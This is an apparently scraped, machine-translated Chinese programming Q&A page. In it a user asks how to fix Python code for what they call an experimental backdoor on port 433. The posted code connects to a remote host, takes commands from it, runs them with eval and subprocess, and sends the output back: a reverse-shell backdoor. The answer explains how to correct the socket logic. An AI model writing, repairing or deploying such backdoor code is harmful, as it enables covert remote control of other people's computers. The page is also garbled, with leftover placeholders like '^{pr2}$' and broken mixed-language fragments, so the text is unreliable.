我在做一个实验性的后门,需要把我要发送到端口号433的字符串放入一个变量中。我试过了,但没用。代码如下:
import socket
import time
import subprocess
host = '' # <-- WRITE HERE THE HOST TO RECIVE INFO
port = '433'
s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)
while 1:
time.sleep(2)
s.send("\n[*] Status: Transmiting from " + str(my_ip) + "...")
s.send("\n[*] Status: Listening port " + str(port) + "...")
rmt_cmd = s.recv(1024)
if rmt_cmd != "":
eval(rmt_cmd)
s.send("\n[*] Status: Executing ( " + str(rmt_cmd) + " )...")
process = subprocess.Popen(rmt_cmd, shell=False,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmd_output = process.stdout.read() + process.stderr.read()
s.send("\n[*] Command output/error(s):")
s.send("\n[*] " + cmd_output)
else:
s.send("\n[*] No command recived")
s.send("\n[*] Status: Listening port " + str(port) + "...")
在这里,代码尝试连接到主机,如果出现错误,它将等待5秒并重试,因为另一台计算机有一个程序,该程序通过接受连接的操作系统启动,因此后门等待5秒,因为计算机可能正在启动:
^{pr2}$但问题是我想把我要发送到端口433的字符串放入rmt_cmd(remote_command),这给了我另一件事:
rmt_cmd = s.recv(1024)
我该怎么做?在
虽然我理解你想做什么,但你要达到这个目的的方式需要重新设计。在
你需要了解你真正想要什么。在
1)您是否希望后门保持被动并等待连接?那么应该是这样的:
^{pr2}$在这种情况下,您的操作系统也可能不允许您绑定433端口。1024以下的端口通常禁止第三方应用程序使用,以防止冲突和后门(ha-ha)。在
2)是否希望后门主动连接到远程主机?只需创建socket并使用其
connect
方法。不要将bind+listen+accept
(被动套接字模式)与connect
(主动模式)混合使用。在rmt_cmd = s.recv(1024)
部分is unreliable and needs to be refactored。s.send
用法也是一样。请改用s.sendall
,否则将无法在一个^{相关问题 更多 >
编程相关推荐